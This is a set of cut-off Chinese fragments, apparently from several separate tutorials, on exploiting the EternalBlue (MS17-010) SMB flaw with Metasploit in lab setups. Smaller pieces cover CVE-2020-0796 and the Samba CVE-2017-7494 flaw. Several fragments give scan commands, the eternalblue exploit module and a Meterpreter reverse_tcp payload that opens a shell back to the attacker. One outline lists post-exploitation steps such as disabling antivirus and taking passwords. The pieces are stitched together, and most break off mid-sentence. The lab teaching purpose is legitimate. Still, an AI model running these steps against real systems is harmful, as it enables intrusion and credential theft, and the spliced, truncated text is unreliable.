永恒之蓝

引子： 2003年的“抗击非典”，17年后的2020年“抗击新冠”。 2017年的“永恒之蓝”，3年后的2020年“永恒之黑”。 历史： 2017年5月13日，在“胖哥技术堂”中发布了《 截杀“WannaCrypt”，终结“永恒之蓝” 》。三年后的今天再次为“永恒之黑”发文。 https://blog.51cto.com/liulike/1925357 预警： 微软在2020年3月12日发布了最新的SMBv3（3.1.1）远程代码执行漏洞（CVE-2020-0796），利用该漏洞无须权限即可实现远程代码执行，一旦被成功利用，其危害不亚于永恒之蓝。同时，CVE-2020-0796漏洞与“永恒之蓝”系列漏洞极为相似，都是利用Windows SMB漏洞远程 获取系统最高权限。 CVE-2020-0796 | Windows SMBv3 Client/Server Remote Code Execution Vulnerability https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796 受该漏洞影响的系统为Windows 10 Version 1903及之后的所有Windows 10操作系统，以及Windows Server Version 1903及之后的所有Windows

永恒之蓝ms17-010 1.简介 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。 注：SMB服务的作用：该服务在Windows与UNIX系列OS之间搭起一座桥梁，让两者的资源可互通有无， 2.实验环境： 攻击机：kali 192.168.70.131 目标机：win7 192.168.70.144 3.使用masscan对window7端口进行扫描 445端口 4.使用msfconsole，进入后，查找ms17-010：可以看到1是检测模块，2是攻击模块，3是版本高的攻击模块（win8以上）。 5.使用扫描模块看主机是否存在漏洞，使用 use auxiliary/scanner/smb/smb_ms17_010 然后使用，set rhosts 192.168.70.144设置目标ip 有下面可以看出，存在这个漏洞， 6.使用攻击模块进行攻击 use exploit/windows/smb/ms17_010_eternalblue 设置payload set payload windows/x64/meterpreter/reverse_tcp 要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload show options

目录 Metaploit介绍 实验环境 漏洞利用过程 Metaploit介绍 　　本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用，掌握Metaploit工具的使用，知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。 　　进入metaploit命令：msfconsole，可以看出下面有总共有六个模块，辅助模块(auxiliary)、渗透攻击模块（exploits）、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模块（nops）、编码器模块(encoders)，其中msf为总模块，其他均为分支模块。 实验环境 攻击机 ：192.168.202.132 （Kali安装Metaploit工具） 靶机 ：192.168.202.131 （windows7x64未打永恒之蓝补丁且关闭防火墙） 实战漏洞利用 1.进入metaploit工具使用命令：msfconsole，可以看出下面有总共有六个模块，不同的模块功能使用的侧重点一样，在进行不同的探测之前使用不同的模块。 辅助模块

目录 Metaploit介绍 实验环境 漏洞利用过程 Metaploit介绍 　 　 本次测试主要是利用永恒之蓝漏洞对 windows7进行控制利用，掌握Metaploit工具的使用，知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。 　　进入metaploit命令：msfconsole，可以看出下面有总共有六个模块， 辅助模块(auxiliary)、渗透攻击模块（exploits）、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模块（nops）、编码器模块(encoders)，其中msf为总模块，其他均为分支模块。 实验环境 攻击机 ： 192.168.202.132 （Kali安装Metaploit工具） 靶机 ： 192.168.202.131 （ windows7x64未打永恒之蓝补丁且关闭防火墙） 实战漏洞利用 1.进入metaploit工具使用命令：msfconsole，可以看出下面有总共有六个模块，不同的模块功能使用的侧重点一样，在进行不同的探测之前使用不同的模块。

一、MS17-010 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。 目前已知受影响的Windows 版本包括但不限于： WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0 二、准备 攻击机：kali-2019 192.168.75.134 靶机：win7_x86（关闭防火墙） 192.168.75.130 三、渗透测试 1、用 nmap 扫描本网段中存活的主机 nmap -r 192.168.75.0/24 ，可以看到探测到了靶机，445端口开放，永恒之蓝利用的就是445端口的 SMB 服务（注意把防火墙关闭，否则ping不通）。 2、进入 MSF 框架，输入命令 msfconsole 搜索 ms17-010 的 exploit，输入 search ms17-010 ，Name栏应该显示对应 payload 的名称。 3、使用 ms17-010

目录 Metasploit 使用方法 ms17-010漏洞复现 1. 主机发现 2. 进入MSF框架 3. 使用ms17-010扫描模块，对靶机进行扫描 4. 使用ms17-010攻击模块，对靶机进行攻击 后渗透阶段 Post后渗透模块 查看目标主机是否运行在虚拟机上 关闭杀毒软件 访问文件系统 下载/上传文件 权限提升 获取用户密码 Metasploit Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。 MSF的更新 ：apt update apt install metasploit-framework 使用方法 进入框架：msfconsole 使用search命令查找相关漏洞： search ms17-010 使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue 使用info查看模块信息： info 设置攻击载荷：set payload windows/x64/meterpreter

本次用到的环境： kali(2016.2)32位系统.ip地址：192.168.1.104 目标靶机为：win7sp1x64系统（关闭防火墙），ip地址：192.168.1.105 ================================= 若kali为64位 windows为32 需要安装wine32 ，但64位的kali下无法apt-get install wine32 在执行exploit时会出现 ： it looks like wine32 is missing, you should install it. multiarch needs to be enabled first. as root, please execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32" 按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可 ================================= 具体的步骤如下： kali系统下安装wine32： apt-get install wine32 用wine32执行cmd.exe wine cmd.exe

漏洞信息: 2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。 漏洞利用条件: 1. 服务器打开了文件/打印机共享端口445，让其能够在公网上访问 2. 共享文件拥有写入权限 3. 恶意攻击者需猜解Samba服务端共享目录的物理路径 满足以上条件时，由于Samba能够为选定的目录创建网络共享，当恶意的客户端连接上一个可写的共享目录时，通过上传恶意的链接库文件，使服务端程序加载并执行它，从而实现远程代码执行。根据服务器的情况，攻击者还有可能以root身份执 测试环境： 在docker下搭建测试环境 1.拉取镜像到本地 root@backlion-virtual-machine:/home/backlion# docker pull medicean/vulapps:s_samba_1 2.启动环境，并将虚拟的445端口映射到物理机的445端口上： root@backlion-virtual-machine:/home/backlion# docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1 3

EternalBlue漏洞复现 1． 实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010。该漏洞利用工具由一个名为”影子经济人”（Shadow Brokers）的神秘黑客组织于2017年4月14日公开的利用工具之一，该漏洞利用工具针对TCP 445端口(Server Message Block/SMB)的文件分享协议进行攻击，攻击成功后将被用来传播病毒木马。由于利用永恒之蓝漏洞利用工具进行传播病毒木马事件多，影响特大，因此很多时候默认将ms17-010漏洞称为“永恒之蓝”。学习漏洞原理掌握攻击方法。 2． 实训原理 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。 注：SMB服务的作用：该服务在Windows与UNIX系列OS之间搭起一座桥梁，让两者的资源可互通有无由于永恒之蓝利用工具会扫描开放445文件共享端口的Windows机器，所以如果用户开启445端口并且系统未打MS17-010补丁就会在无感状态下被不法分子向系统植入恶意代码 3． 实训环境 Kali系统 版本：2.0 IP：192.168.0.145 Win7系统 IP：192.168.0.130 开放端口：445 MSF框架版本：4.14.17版本以上 安装更新metasploit

Ms17-010永恒之蓝漏洞复现 0x00 漏洞介绍 永恒之蓝是指2017年4月14日晚， “永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限 2017年5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，在多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 0x01漏洞原理 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。 0x02影响版本 目前已知受影响的Windows 版本包括但不限于： WindowsNT， Windows2000、 Windows XP、 Windows 2003、 Windows Vista、 Windows 7、 Windows 8， Windows 2008、 Windows 2008 R2、 Windows Server 2012 SP0。 0x03 漏洞修护 微软已于2017 年 3 月 14 日发布MS17-010补丁，修复了“永恒之蓝”攻击的系统漏洞，一定要及时更新Windows系统补丁；务必不要轻易打开doc、rtf等后缀的附件；内网中存在使用相同账号、密码情况的机器请尽快修改密码，未开机的电脑请确认口令修改完毕、补丁安装完成后再进行联网操作，可以下载“永恒之蓝”漏洞修复工具进行漏洞修复 0x04